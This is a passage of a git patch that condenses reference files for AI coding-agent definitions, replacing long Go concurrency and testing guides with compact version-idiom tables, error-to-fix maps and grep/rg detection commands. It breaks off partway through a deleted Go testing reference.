From d06bedd9e3e5235f6a8d7ba9c82c682faf5fb3e0 Mon Sep 17 00:00:00 2001 From: notque Date: Fri, 24 Jul 2026 14:58:58 -0700 Subject: [PATCH] =?UTF-8?q?refactor(refs):=20condense=20language-agent=20r?= =?UTF-8?q?eferences=20to=20local=20knowledge=20=E2=80=94=20python,=20gola?= =?UTF-8?q?ng,=20golang-compact,=20php?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 89:11 generic-to-local audit remediation. Deletes public-docs restatements (python-errors catalog, Go concurrency/testing/security tutorials, PHP security tutorial); keeps every host incident, operator convention, and version/CVE-pinned gotcha: - flask-jinja-webapp mode-600 nginx 403 incident, CSRF blueprint pins (verbatim) - reddit_mod except-OSError silent-failure gate, CLI pipeline conventions - Peewee E712 ruff exception; host venv/pip mismatch rule - GOMODCACHE library-source verification; rebuilt-binary stat check; hermes/log-router deadcode A/B result; Go 1.18-1.26 idiom tables - PHP PostToolUse hook block, SAP Commerce context, hard gates Defects fixed: - python-modern-features.md shipped 'curl | sh' uv installer (violates home installer policy) -> pipx/pip install path - php-security.md justified PHP prepared statements with 'Sequelize CVE-2023-25813' (a Node ORM CVE) -> bogus citation dropped - php loading table rows 1-3 had file links in the Signal column -> keyword signals restored Prunes go-errors.md and python-preferred-patterns.md from _KNOWN_OVERSIZED. python: 10,005 -> 1,456 words (12 -> 2 files) golang: 11,793 -> 1,217 (10 -> 2) golang-compact: 3,183 -> 545 (3 -> 1) php: 4,581 -> 1,638 (4 -> 2) --- agents/golang-general-engineer-compact.md | 11 +- .../references/concurrency-patterns.md | 272 -------- .../references/go-compact-reference.md | 53 ++ .../references/go-patterns.md | 247 -------- .../references/testing-patterns.md | 278 --------- agents/golang-general-engineer.md | 28 +- .../references/expertise.md | 65 -- .../references/go-concurrency.md | 324 ---------- .../references/go-dead-code-analysis.md | 77 --- .../references/go-errors.md | 589 ------------------ .../references/go-modern-features.md | 438 ------------- .../references/go-preferred-patterns.md | 337 ---------- .../references/go-security.md | 401 ------------ .../references/go-testing.md | 366 ----------- .../references/go-verification-workflow.md | 64 ++ .../references/go-version-idioms.md | 70 +++ .../references/gopls-workflows.md | 62 -- .../references/patterns-and-gates.md | 126 ---- agents/php-general-engineer.md | 28 +- .../references/hooks-and-behaviors.md | 122 +--- .../references/php-conventions.md | 99 +++ .../references/php-patterns.md | 167 ----- .../references/php-security-testing.md | 201 ------ .../references/php-security.md | 453 -------------- agents/python-general-engineer.md | 35 +- .../references/anti-rationalization.md | 15 - .../references/blocker-criteria.md | 40 -- .../references/capabilities.md | 51 -- .../references/error-handling.md | 23 - .../references/flask-jinja-webapp.md | 28 +- .../references/hard-gate-patterns.md | 35 -- .../references/preferred-patterns.md | 48 -- .../references/python-errors.md | 486 --------------- .../references/python-local-gates.md | 58 ++ .../references/python-modern-features.md | 245 -------- .../references/python-patterns.md | 347 ----------- .../references/python-preferred-patterns.md | 427 ------------- .../references/python-security.md | 490 --------------- scripts/tests/test_reference_loading.py | 2 - 39 files changed, 407 insertions(+), 6801 deletions(-) delete mode 100644 agents/golang-general-engineer-compact/references/concurrency-patterns.md create mode 100644 agents/golang-general-engineer-compact/references/go-compact-reference.md delete mode 100644 agents/golang-general-engineer-compact/references/go-patterns.md delete mode 100644 agents/golang-general-engineer-compact/references/testing-patterns.md delete mode 100644 agents/golang-general-engineer/references/expertise.md delete mode 100644 agents/golang-general-engineer/references/go-concurrency.md delete mode 100644 agents/golang-general-engineer/references/go-dead-code-analysis.md delete mode 100644 agents/golang-general-engineer/references/go-errors.md delete mode 100644 agents/golang-general-engineer/references/go-modern-features.md delete mode 100644 agents/golang-general-engineer/references/go-preferred-patterns.md delete mode 100644 agents/golang-general-engineer/references/go-security.md delete mode 100644 agents/golang-general-engineer/references/go-testing.md create mode 100644 agents/golang-general-engineer/references/go-verification-workflow.md create mode 100644 agents/golang-general-engineer/references/go-version-idioms.md delete mode 100644 agents/golang-general-engineer/references/gopls-workflows.md delete mode 100644 agents/golang-general-engineer/references/patterns-and-gates.md create mode 100644 agents/php-general-engineer/references/php-conventions.md delete mode 100644 agents/php-general-engineer/references/php-patterns.md delete mode 100644 agents/php-general-engineer/references/php-security-testing.md delete mode 100644 agents/php-general-engineer/references/php-security.md delete mode 100644 agents/python-general-engineer/references/anti-rationalization.md delete mode 100644 agents/python-general-engineer/references/blocker-criteria.md delete mode 100644 agents/python-general-engineer/references/capabilities.md delete mode 100644 agents/python-general-engineer/references/error-handling.md delete mode 100644 agents/python-general-engineer/references/hard-gate-patterns.md delete mode 100644 agents/python-general-engineer/references/preferred-patterns.md delete mode 100644 agents/python-general-engineer/references/python-errors.md create mode 100644 agents/python-general-engineer/references/python-local-gates.md delete mode 100644 agents/python-general-engineer/references/python-modern-features.md delete mode 100644 agents/python-general-engineer/references/python-patterns.md delete mode 100644 agents/python-general-engineer/references/python-preferred-patterns.md delete mode 100644 agents/python-general-engineer/references/python-security.md diff --git a/agents/golang-general-engineer-compact.md b/agents/golang-general-engineer-compact.md index b7f5c8bf..27c41670 100644 --- a/agents/golang-general-engineer-compact.md +++ b/agents/golang-general-engineer-compact.md @@ -82,8 +82,7 @@ This agent operates as an operator for focused Go development, configuring Claud | Skill | When to Invoke | |-------|---------------| -| `go-patterns` | Run Go quality checks via make check with intelligent error categorization and actionable fix suggestions. Use when u... | -| `go-patterns` | Go testing patterns and methodology: table-driven tests, t.Run subtests, t.Helper helpers, mocking interfaces, benchm... | +| `go-patterns` | Go quality checks via `make check` with error categorization; table-driven tests, subtests, helpers, mocks, benchmarks. | **Rule**: If a companion skill exists for what you're about to do manually, use the skill instead. @@ -282,9 +281,7 @@ STOP and ask when: | Signal | Load These Files | Why | |---|---|---| -| Idiom upgrade, version compatibility, `any` vs `interface{}` | `go-patterns.md` | Version table Go 1.18–1.26, error wrapping, functional options | -| Goroutines, channels, WaitGroup, worker pools | `concurrency-patterns.md` | `wg.Go()`, context cancellation, failure modes with detection commands | -| Table-driven tests, benchmarks, fuzzing, goroutine leaks | `testing-patterns.md` | `t.Context()`, `b.Loop()`, `t.TempDir()`, goleak patterns | +| interface{}, any, wg.Go, b.Loop, t.Context, t.TempDir, omitzero, SplitSeq, new(val), errors.AsType, go.mod version, undefined:, goleak, DATA RACE, t.Parallel | `go-compact-reference.md` | Version table Go 1.18–1.26 with detection commands, error-message-to-fix map, version notes | ## References @@ -292,9 +289,7 @@ Load the relevant reference file based on the task type: | Task Type | Reference File | What It Covers | |-----------|---------------|----------------| -| Idiom upgrade, version compatibility, `any` vs `interface{}` | [references/go-patterns.md](references/go-patterns.md) | Version table Go 1.18–1.26, error wrapping, functional options | -| Goroutines, channels, WaitGroup, worker pools | [references/concurrency-patterns.md](references/concurrency-patterns.md) | `wg.Go()`, context cancellation, failure modes with detection commands | -| Table-driven tests, benchmarks, fuzzing, goroutine leaks | [references/testing-patterns.md](references/testing-patterns.md) | `t.Context()`, `b.Loop()`, `t.TempDir()`, goleak patterns | +| Idiom upgrade, version compatibility, exact error-message lookup, goroutine-leak/test-parallel panics | [references/go-compact-reference.md](references/go-compact-reference.md) | Version table Go 1.18–1.26 with detection commands, error-to-fix map, version notes | **Shared**: - [anti-rationalization-core.md](../skills/shared-patterns/anti-rationalization-core.md) diff --git a/agents/golang-general-engineer-compact/references/concurrency-patterns.md b/agents/golang-general-engineer-compact/references/concurrency-patterns.md deleted file mode 100644 index 057a22eb..00000000 --- a/agents/golang-general-engineer-compact/references/concurrency-patterns.md +++ /dev/null @@ -1,272 +0,0 @@ -# Go Concurrency Patterns — Compact Reference - -> **Scope**: Goroutine lifecycle, channels, sync primitives, context propagation. Not networking/I/O. -> **Version range**: Go 1.21+ (modern WaitGroup requires 1.25+) - -Three bug classes: goroutine leaks (no exit), data races (shared state without sync), deadlocks (circular waits). `wg.Go()` (1.25+) eliminates the #1 WaitGroup mistake. - -## Pattern Table - -| Pattern | Version | Use When | Avoid When | -|---------|---------|----------|------------| -| `wg.Go(fn)` | `1.25+` | Spawning goroutines with WaitGroup | Target version < 1.25 (use Add/Done) | -| `for range n` | `1.22+` | Simple N-iteration goroutine dispatch | Needing loop index type other than int | -| `iter.Seq[T]` | `1.23+` | Custom iterators over goroutine results | Simple in-memory slices | -| `t.Context()` in tests | `1.24+` | Test goroutines need a cancel signal | Go < 1.24 (use `context.Background()`) | -| `b.Loop()` | `1.24+` | Benchmarks — replaces `for i := 0; i < b.N; i++` | Go < 1.24 | - ---- - -## Correct Patterns - -### Worker Pool with Context (Go 1.25+ compact form) - -Use `wg.Go()` to avoid the manual Add/Done pattern. Never spawn goroutines without a context stop signal. - -```go -func runPool(ctx context.Context, jobs <-chan Job) error { - var wg sync.WaitGroup - for range 4 { // Go 1.22+: for range n - wg.Go(func() { // Go 1.25+: wg.Go eliminates Add/Done race - for { - select { - case j, ok := <-jobs: - if !ok { - return - } - process(ctx, j) - case <-ctx.Done(): - return - } - } - }) - } - wg.Wait() - return ctx.Err() -} -``` - -`wg.Go()` ensures Add before launch. Context cancel provides clean shutdown. - ---- - -### Fan-out / Fan-in Pipeline - -```go -func fanOut[T any](ctx context.Context, in <-chan T, n int, fn func(T) T) <-chan T { - out := make(chan T, n) - var wg sync.WaitGroup - for range n { - wg.Go(func() { - defer func() { - // Only close when all workers done (fan-in handles this) - }() - for v := range in { - select { - case out <- fn(v): - case <-ctx.Done(): - return - } - } - }) - } - go func() { - wg.Wait() - close(out) // Close after all writers done - }() - return out -} -``` - -Only the channel owner closes it. Multiple writers need a final goroutine to close after all exit. - ---- - -## Pattern Catalog - -### Provide an Exit Strategy for Every Goroutine -**Detection**: -```bash -grep -rn 'go func()' --include="*.go" | grep -v "_test.go" -rg 'go func\(\)' --type go -l -``` - -**Signal**: -```go -func startBackgroundJob() { - go func() { - for { - doWork() // No ctx.Done(), no stop channel - } - }() -} -``` - -**Why**: Runs until process exit. Repeated calls accumulate goroutines. `goleak` catches in tests; production leaks memory. - -**Preferred action**: -```go -func startBackgroundJob(ctx context.Context) { - go func() { - for { - select { - case <-ctx.Done(): - return - default: - doWork() - } - } - }() -} -``` - -**Version note**: For Go 1.24+ tests, use `t.Context()` instead of `context.Background()` so goroutines are canceled when the test ends. - ---- - -### Call wg.Add Before Spawning the Goroutine -**Detection**: -```bash -grep -A2 'go func' --include="*.go" -rn . | grep 'wg.Add' -rg 'go func.*\{' --type go -A 3 | grep 'wg\.Add' -``` - -**Signal**: -```go -for _, item := range items { - go func(i Item) { - wg.Add(1) // Race: Wait() can return before Add() runs - defer wg.Done() - process(i) - }(item) -} -wg.Wait() -``` - -**Why**: `wg.Wait()` may return before `wg.Add(1)` runs. Race detector catches it only with unlucky timing. - -**Preferred action** (Go < 1.25): -```go -for _, item := range items { - wg.Add(1) // Add BEFORE spawning goroutine - go func(i Item) { - defer wg.Done() - process(i) - }(item) -} -wg.Wait() -``` - -**Preferred action** (Go 1.25+): -```go -for _, item := range items { - item := item - wg.Go(func() { process(item) }) // wg.Go handles Add+Done -} -wg.Wait() -``` - ---- - -### Designate a Single Channel Close Owner -**Detection**: -```bash -grep -rn 'close(' --include="*.go" | grep -v "_test.go" -rg 'close\(ch\)' --type go -``` - -**Signal**: -```go -for _, worker := range workers { - go func(w Worker) { - result := w.Compute() - results <- result - close(results) // Panic: multiple goroutines close same channel - }(worker) -} -``` - -**Why**: Multiple goroutines closing same channel = runtime panic. - -**Preferred action**: -```go -var wg sync.WaitGroup -for _, worker := range workers { - wg.Go(func() { - results <- worker.Compute() - }) -} -go func() { - wg.Wait() - close(results) // Single owner closes after all writers done -}() -``` - ---- - -### Use b.Loop() for Benchmarks (Go 1.24+) -**Detection**: -```bash -grep -rn 'for i := 0; i < b.N' --include="*_test.go" -rg 'i < b\.N' --type go -``` - -**Signal**: -```go -func BenchmarkOp(b *testing.B) { - for i := 0; i < b.N; i++ { // Old idiom, still works but verbose - op() - } -} -``` - -**Preferred action** (Go 1.24+): -```go -func BenchmarkOp(b *testing.B) { - for b.Loop() { // b.Loop() is idiomatic Go 1.24+ - op() - } -} -``` - -**Version note**: `b.Loop()` was added in Go 1.24. It also avoids benchmark-startup overhead by not counting setup iterations. For Go < 1.24, the `for i := 0; i < b.N; i++` idiom is correct. - ---- - -## Error-Fix Mappings - -| Error Message | Root Cause | Fix | -|---------------|------------|-----| -| `panic: send on closed channel` | Sender doesn't know channel is closed | Use select with ok check: `v, ok := <-ch; if !ok { return }` | -| `panic: close of closed channel` | Multiple goroutines closing same channel | Designate single owner; use sync.Once for safety | -| `fatal error: all goroutines are asleep - deadlock!` | Goroutine waiting on channel with no sender | Check that producer goroutine is running and channel has buffer or receiver | -| `DATA RACE` from `-race` detector on WaitGroup | `wg.Add()` inside goroutine | Move `wg.Add()` before `go` statement, or use `wg.Go()` (1.25+) | -| `panic: sync: WaitGroup is reused before previous Wait has returned` | Reusing WaitGroup before Wait returns | Use a new WaitGroup per batch, or wait fully before reuse | - ---- - -## Detection Commands Reference - -```bash -# Goroutines without exit strategy -grep -rn 'go func()' --include="*.go" | grep -v '_test.go' - -# WaitGroup Add inside goroutine -grep -B1 'wg.Add' --include="*.go" -rn . | grep 'go func' - -# Benchmark old-style loop (upgrade to b.Loop()) -grep -rn 'for i := 0; i < b.N' --include="*_test.go" - -# Close calls (verify single owner) -grep -rn 'close(' --include="*.go" | grep -v '_test.go' - -# Run race detector -go test -race ./... -``` - ---- - -## See Also - -- `testing-patterns.md` — `t.Context()`, parallel tests, goroutine leak detection with goleak -- `go-patterns.md` — modern Go idioms table (wg.Go, b.Loop, for range n) diff --git a/agents/golang-general-engineer-compact/references/go-compact-reference.md b/agents/golang-general-engineer-compact/references/go-compact-reference.md new file mode 100644 index 00000000..eef5b9f6 --- /dev/null +++ b/agents/golang-general-engineer-compact/references/go-compact-reference.md @@ -0,0 +1,53 @@ +# Go Compact Reference — Versions, Detection, Error Map + +> **Scope**: Version-pinned idiom upgrades, detection commands, error-to-version lookup. Go 1.18–1.26. + +Targets Go 1.26+; check go.mod before using version-specific features. + +```bash +grep '^go ' go.mod # "go 1.23" means 1.23 features, not 1.24+ +``` + +## Version Upgrade Table + +| Old Idiom | Modern Idiom | Since | Detection | +|-----------|-------------|-------|-----------| +| `interface{}` | `any` | 1.18 | `rg 'interface\{\}' --type go` | +| `sort.Slice(s, func(i,j int) bool{...})` | `slices.SortFunc(s, cmp.Compare)` | 1.21 | `rg 'sort\.Slice\(' --type go` | +| Hand-rolled min/max | `min(a, b)` / `max(a, b)` | 1.21 | manual review | +| `for i := 0; i < n; i++` | `for i := range n` | 1.22 | `rg 'for i := 0; i < ' --type go` | +| `item := item` loop-var capture | Per-iteration variables, capture unneeded | 1.22 | `rg 'item := item' --type go` | +| `strings.Split` in `range` | `strings.SplitSeq` | 1.24 | `rg 'strings\.Split\(' --type go` | +| `context.WithCancel` in tests | `t.Context()` | 1.24 | `rg 'context\.Background' --type go --glob '*_test.go'` | +| `for i := 0; i < b.N; i++` | `for b.Loop()` | 1.24 | `rg 'i < b\.N' --type go` | +| `omitempty` on structs/Duration | `omitzero` | 1.24 | check JSON tags | +| `wg.Add(1); go func(){defer wg.Done()...}` | `wg.Go(fn)` | 1.25 | `rg 'wg\.Add\(1\)' --type go` | +| `x := val; &x` | `new(val)` | 1.26 | `rg 'x := .*; &x' --type go` | +| `errors.As(err, &t)` | `errors.AsType[T](err)` | 1.26 | `rg 'errors\.As\(' --type go` | + +Version notes: `t.TempDir()` since 1.15, `t.Setenv` since 1.17, fuzzing since 1.18, `t.Cleanup` since 1.14. On Go < 1.25 keep `wg.Add(1)` before the `go` statement (Add inside the goroutine races `Wait()`). On Go < 1.24 pair `context.WithCancel` with `t.Cleanup(cancel)`. + +## Error Message → Fix Map + +| Error Message | Root Cause | Fix | +|---------------|------------|-----| +| `undefined: slices.Contains` | Go < 1.21 | Upgrade go.mod or implement manually | +| `cannot range over N (variable of type int)` | Go < 1.22 | `for i := 0; i < N; i++` | +| `t.Context undefined` | Go < 1.24 | `context.WithCancel(context.Background())` + `t.Cleanup(cancel)` | +| `undefined: (*sync.WaitGroup).Go` | Go < 1.25 | Add/Done pattern | +| `undefined: errors.AsType` | Go < 1.26 | `errors.As(err, &target)` | +| `flag provided but not defined: -test.fuzz` | Go < 1.18 | Upgrade; fuzz requires 1.18+ | +| `panic: t.Parallel called after t.Cleanup` | Ordering: `t.Parallel()` must be the subtest's first line | Move `t.Parallel()` to line 1 of the `t.Run` func | +| `goleak: found unexpected goroutines` / `test ended with leaked goroutines` | Goroutines outlive the test | Pass `t.Context()` (1.24+) or `t.Cleanup(cancel)` to every goroutine | +| `DATA RACE` on WaitGroup from `-race` | `wg.Add()` inside goroutine | Move `wg.Add()` before `go`, or `wg.Go()` (1.25+) | + +## Detection Commands + +```bash +rg 'interface\{\}' --type go # upgrade to any +rg 'for i := 0; i < ' --type go # upgrade to for range n +rg 'wg\.Add\(1\)' --type go # upgrade to wg.Go (1.25+) +rg 'return nil, err$' --type go -g '!*_test.go' # add fmt.Errorf("...: %w", err) context +grep -rn 'os.TempDir()' --include="*_test.go" # upgrade to t.TempDir() +go test -race ./... # always in CI +``` diff --git a/agents/golang-general-engineer-compact/references/go-patterns.md b/agents/golang-general-engineer-compact/references/go-patterns.md deleted file mode 100644 index 4964483e..00000000 --- a/agents/golang-general-engineer-compact/references/go-patterns.md +++ /dev/null @@ -1,247 +0,0 @@ -# Go Modern Patterns — Compact Reference - -> **Scope**: Version-specific idiom upgrades, core patterns. Go 1.18–1.26. - -Targets Go 1.26+ but must check go.mod before using version-specific features. - -## Version Upgrade Table - -| Old Idiom | Modern Idiom | Since | Detection | -|-----------|-------------|-------|-----------| -| `interface{}` | `any` | 1.18 | `rg 'interface\{\}' --type go` | -| Manual generics via `interface{}` | `func[T any](v T) T` | 1.18 | N/A — look for repetitive typed functions | -| `sort.Slice(s, func(i,j int) bool{...})` | `slices.SortFunc(s, cmp.Compare)` | 1.21 | `rg 'sort\.Slice\(' --type go` | -| `len(m) == 0` check | `maps.Clone`, `maps.Keys`, `maps.Values` | 1.21 | `rg 'len\(.*\) == 0' --type go` | -| `if a > b { return a }` | `max(a, b)` / `min(a, b)` | 1.21 | `rg '\? .* : ' --type go` | -| `for i := 0; i < n; i++` | `for i := range n` | 1.22 | `rg 'for i := 0; i < ' --type go` | -| `for _, v := range s` loop variable capture | No capture needed | 1.22 | `rg 'item := item' --type go` | -| `strings.Split` in `range` | `strings.SplitSeq` | 1.24 | `rg 'strings\.Split\(' --type go` | -| `context.WithCancel` in test | `t.Context()` | 1.24 | `rg 'context\.Background.*test' --type go` | -| `omitempty` on zero-value structs | `omitzero` | 1.24 | N/A — check JSON tags | -| `wg.Add(1); go func(){defer wg.Done()...}` | `wg.Go(fn)` | 1.25 | `rg 'wg\.Add\(1\)' --type go` | -| `x := val; &x` | `new(val)` | 1.26 | `rg 'x := .*; &x' --type go` | -| `errors.As(err, &t)` | `errors.AsType[T](err)` | 1.26 | `rg 'errors\.As\(' --type go` | - ---- - -## Correct Patterns - -### Go Version Detection from go.mod - -Always check go.mod before using version-specific features. - -```bash -# Check target Go version -grep '^go ' go.mod -# Output: "go 1.23" means you can use 1.23 features, not 1.24+ -``` - -```go -// gopls MCP workflow: run go_workspace first -// go_workspace → detect go.mod version → apply appropriate patterns -``` - ---- - -### Error Wrapping with %w (Go 1.13+) - -```go -// Wrap to preserve error chain -if err := db.QueryRow(q).Scan(&id); err != nil { - return fmt.Errorf("fetchUser %d: %w", userID, err) -} - -// Unwrap for type checking -var notFound *NotFoundError -if errors.As(err, ¬Found) { // Still works in all versions - // handle -} - -// Go 1.26+: generic AsType -if nf, ok := errors.AsType[*NotFoundError](err); ok { - log.Printf("not found: %d", nf.ID) -} -``` - -`%w` preserves the error chain for `errors.Is`/`errors.As`. Without it, `errors.Is(err, sql.ErrNoRows)` returns false. - ---- - -### Functional Options (Interface Design) - -```go -type Server struct { - timeout time.Duration - maxConns int -} - -type Option func(*Server) - -func WithTimeout(d time.Duration) Option { - return func(s *Server) { s.timeout = d } -} - -func NewServer(opts ...Option) *Server { - s := &Server{timeout: 30 * time.Second, maxConns: 100} // defaults - for _, o := range opts { - o(s) - } - return s -} -``` - -Avoids zero-value ambiguity. Extends without breaking callers. - ---- - -### Small Focused Interfaces - -```go -// Good: 1-2 method interface is easy to satisfy, easy to mock -type Reader interface { - Read(ctx context.Context, id string) (*Entity, error) -} - -// Bad: fat interface forces callers to implement methods they don't need -type EntityManager interface { - Read(ctx context.Context, id string) (*Entity, error) - Write(ctx context.Context, e *Entity) error - Delete(ctx context.Context, id string) error - List(ctx context.Context, filter Filter) ([]*Entity, error) - // ... 10 more methods -} -``` - -Fat interfaces = painful mocking + tight coupling. Consumer-side interfaces. - ---- - -## Pattern Catalog - -### Use any Instead of interface{} (Go 1.18+) -**Detection**: -```bash -grep -rn 'interface{}' --include="*.go" -rg 'interface\{\}' --type go -``` - -**Signal**: -```go -func process(v interface{}) interface{} { // Pre-1.18 style - return v -} -``` - -**Preferred action**: -```go -func process(v any) any { // Go 1.18+: any is an alias for interface{} - return v -} -``` - -**Version note**: `any` is a type alias since Go 1.18. Functionally identical — purely stylistic. The compact agent enforces `any` as a hard requirement. - ---- - -### Wrap Errors with Call-Site Context -**Detection**: -```bash -grep -rn 'return err$' --include="*.go" | grep -v "_test.go" -rg 'return nil, err$' --type go | grep -v '_test.go' -``` - -**Signal**: -```go -func getConfig(path string) (*Config, error) { - data, err := os.ReadFile(path) - if err != nil { - return nil, err // Loses call context - } - ... -} -``` - -**Why**: Caller gets raw error with no call-site context. - -**Preferred action**: -```go -func getConfig(path string) (*Config, error) { - data, err := os.ReadFile(path) - if err != nil { - return nil, fmt.Errorf("getConfig %s: %w", path, err) - } - ... -} -``` - ---- - -### Use Modern Range and WaitGroup Patterns -**Detection**: -```bash -# Old range pattern (loop variable capture) -grep -rn 'item := item' --include="*.go" -# Old WaitGroup pattern -grep -rn 'wg.Add(1)' --include="*.go" -# Old numeric loop -grep -rn 'for i := 0; i < [0-9]' --include="*.go" -``` - -**Signal**: -```go -for i := 0; i < 5; i++ { // Pre-1.22 numeric loop - wg.Add(1) // Pre-1.25 WaitGroup - go func(n int) { - defer wg.Done() - process(n) - }(i) -} -``` - -**Preferred action** (Go 1.25+): -```go -for i := range 5 { // Go 1.22+ - wg.Go(func() { process(i) }) // Go 1.25+: i captured by value in wg.Go -} -``` - ---- - -## Error-Fix Mappings - -| Error Message | Root Cause | Fix | -|---------------|------------|-----| -| `cannot use X (type interface{}) as type any` | Old IDE generated code with `interface{}` | Replace with `any` throughout | -| `undefined: slices.Contains` | Go version < 1.21 | Upgrade go.mod or implement manually | -| `cannot range over N (variable of type int)` | Go version < 1.22 | Use `for i := 0; i < N; i++` | -| `undefined: (*sync.WaitGroup).Go` | Go version < 1.25 | Use Add/Done pattern | -| `undefined: errors.AsType` | Go version < 1.26 | Use `errors.As(err, &target)` | -| `t.Context undefined` | Go version < 1.24 | Use `context.WithCancel(context.Background())` + `t.Cleanup(cancel)` | - ---- - -## Detection Commands Reference - -```bash -# Find all interface{} usage (upgrade to any) -rg 'interface\{\}' --type go - -# Find pre-1.22 numeric loops (upgrade to for range n) -rg 'for i := 0; i < ' --type go - -# Find pre-1.25 WaitGroup patterns (upgrade to wg.Go) -rg 'wg\.Add\(1\)' --type go - -# Find bare error returns (add context wrapping) -rg 'return nil, err$' --type go | grep -v '_test.go' - -# Check current go.mod version -grep '^go ' go.mod -``` - ---- - -## See Also - -- `concurrency-patterns.md` — goroutine lifecycle, channel patterns, wg.Go usage -- `testing-patterns.md` — t.Context(), b.Loop(), table-driven tests diff --git a/agents/golang-general-engineer-compact/references/testing-patterns.md b/agents/golang-general-engineer-compact/references/testing-patterns.md deleted file mode 100644 index c9a5afbe..00000000 --- a/agents/golang-general-engineer-compact/references/testing-patterns.md +++ /dev/null @@ -1,278 +0,0 @@ -# Go Testing Patterns — Compact Reference - -> **Scope**: Table-driven tests, subtests, benchmarks, fuzzing, goroutine leak detection. Not integration infra. -> **Version range**: Go 1.21+ (t.Context/b.Loop require 1.24+) - -Default: table-driven tests with `t.Run`. Common gaps: missing `t.Cleanup`, no `t.Context()` for goroutines, no `t.Parallel()` on independent subtests. - -## Pattern Table - -| Pattern | Version | Use When | Avoid When | -|---------|---------|----------|------------| -| `t.Context()` | `1.24+` | Test goroutines need cancel signal | Go < 1.24 (use `context.Background()`) | -| `b.Loop()` | `1.24+` | All benchmarks | Go < 1.24 | -| `go test -fuzz=FuzzFoo` | `1.18+` | Input parsing, protocol handling | Pure computation with no external input | -| `t.Cleanup(fn)` | `1.14+` | Resource teardown in helpers | Functions where deferred cleanup works fine | -| `t.Setenv` | `1.17+` | Setting env vars in tests | Tests that share process-global state and need serialization | -| `t.TempDir()` | `1.15+` | Temp files in tests | Never — always prefer over os.TempDir() | - ---- - -## Correct Patterns - -### Table-Driven Test (Canonical Form) - -```go -func TestParse(t *testing.T) { - t.Parallel() // Top-level: run parallel with other test functions - - tests := []struct { - name string - input string - want string - wantErr bool - }{ - {"valid input", "hello", "HELLO", false}, - {"empty string", "", "", true}, - {"special chars", "a b\tc", "A B\tC", false}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - t.Parallel() // Subtests: run parallel with each other - - got, err := Parse(tt.input) - if (err != nil) != tt.wantErr { - t.Fatalf("Parse(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) - } - if got != tt.want { - t.Errorf("Parse(%q) = %q, want %q", tt.input, got, tt.want) - } - }) - } -} -``` - -`t.Parallel()` at both levels maximizes parallelism. `t.Fatalf` on error prevents nil-deref panics. - ---- - -### Test Helper with t.Helper() - -```go -func requireNoError(t *testing.T, err error, msg string) { - t.Helper() // Makes failure point to caller, not this function - if err != nil { - t.Fatalf("%s: %v", msg, err) - } -} - -func createTempDB(t *testing.T) *sql.DB { - t.Helper() - db, err := sql.Open("sqlite3", t.TempDir()+"/test.db") - requireNoError(t, err, "open db") - t.Cleanup(func() { db.Close() }) // Cleanup registered here, runs at test end - return db -} -``` - -`t.Helper()` makes failures point to caller. `t.Cleanup` runs even after `t.FailNow()`. - ---- - -### Fuzz Test (Go 1.18+) - -```go -func FuzzParseURL(f *testing.F) { - // Seed corpus - f.Add("https://example.com/path?q=1") - f.Add("http://localhost:8080") - f.Add("") // Edge case - - f.Fuzz(func(t *testing.T, input string) { - // Should never panic — fuzzer checks for panics - u, err := ParseURL(input) - if err != nil { - return // Invalid input is fine - } - // Roundtrip property: parse → serialize → parse should be stable - u2, err := ParseURL(u.String()) - if err != nil { - t.Errorf("roundtrip failed: original %q, serialized %q: %v", input, u.String(), err) - } - _ = u2 - }) -} -``` - -Fuzz tests find edge cases table tests miss. Roundtrip property is a strong invariant. - ---- - -## Pattern Catalog - -### Add t.Parallel() to Independent Subtests -**Detection**: -```bash -grep -A5 't.Run(' --include="*_test.go" -rn . | grep -v 't.Parallel' -rg 't\.Run\(' --type go -A 3 | grep -v 't\.Parallel' -``` - -**Signal**: -```go -for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - // No t.Parallel() — runs sequentially - result := expensiveCompute(tt.input) - ... - }) -} -``` - -**Why**: Sequential subtests 10-100x slower on multi-core. - -**Fix**: `t.Parallel()` as first line. Shared state: move inside struct or `t.Cleanup`. - ---- - -### Use t.TempDir() for Test Temporary Files -**Detection**: -```bash -grep -rn 'os.TempDir()' --include="*_test.go" -rg 'os\.TempDir\(\)' --type go --glob '*_test.go' -``` - -**Signal**: -```go -func TestWriteFile(t *testing.T) { - dir := os.TempDir() // Manual cleanup needed - defer os.RemoveAll(dir) - ... -} -``` - -**Why**: `os.TempDir()` = system dir, shared across runs. Panic before defer = leaked files. - -**Preferred action**: -```go -func TestWriteFile(t *testing.T) { - dir := t.TempDir() // Automatically cleaned up after test, even on failure - ... -} -``` - -**Version note**: `t.TempDir()` available since Go 1.15. - ---- - -### Use t.Context() for Test Goroutines (Go 1.24+) -**Detection**: -```bash -grep -rn 'context.Background()' --include="*_test.go" -rg 'context\.Background\(\)' --type go --glob '*_test.go' -``` - -**Signal**: -```go -func TestServer(t *testing.T) { - ctx := context.Background() // Never canceled — goroutines may outlive test - go startServer(ctx) - ... -} -``` - -**Why**: `context.Background()` goroutines run until process exit. `goleak` detects them. - -**Preferred action** (Go 1.24+): -```go -func TestServer(t *testing.T) { - ctx := t.Context() // Canceled when test ends, cancels dependent goroutines - go startServer(ctx) - ... -} -``` - -**Preferred action** (Go < 1.24): -```go -func TestServer(t *testing.T) { - ctx, cancel := context.WithCancel(context.Background()) - t.Cleanup(cancel) - go startServer(ctx) - ... -} -``` - ---- - -### Reset Timer Before Benchmark Loop -**Detection**: -```bash -grep -B5 'for.*b\.N' --include="*_test.go" -rn . | grep -v 'b.ResetTimer' -rg 'for i := 0.*b\.N' --type go --glob '*_test.go' -``` - -**Signal**: -```go -func BenchmarkProcess(b *testing.B) { - data := loadLargeDataset() // Counted in benchmark time! - for i := 0; i < b.N; i++ { - process(data) - } -} -``` - -**Why**: Setup time counted in benchmark, skewing results. - -**Preferred action** (Go 1.24+): -```go -func BenchmarkProcess(b *testing.B) { - data := loadLargeDataset() - b.ResetTimer() // Start counting after setup (still useful with b.Loop) - for b.Loop() { // b.Loop() is idiomatic Go 1.24+ - process(data) - } -} -``` - ---- - -## Error-Fix Mappings - -| Error Message | Root Cause | Fix | -|---------------|------------|-----| -| `panic: t.Parallel called after t.Cleanup` | `t.Parallel()` must be first line of subtest | Move `t.Parallel()` to line 1 of the `t.Run` func | -| `panic: testing: t.Fatal called after test finished` | Goroutine calls t.Fatal after test ended | Use `t.Context()` so goroutine is canceled before test ends | -| 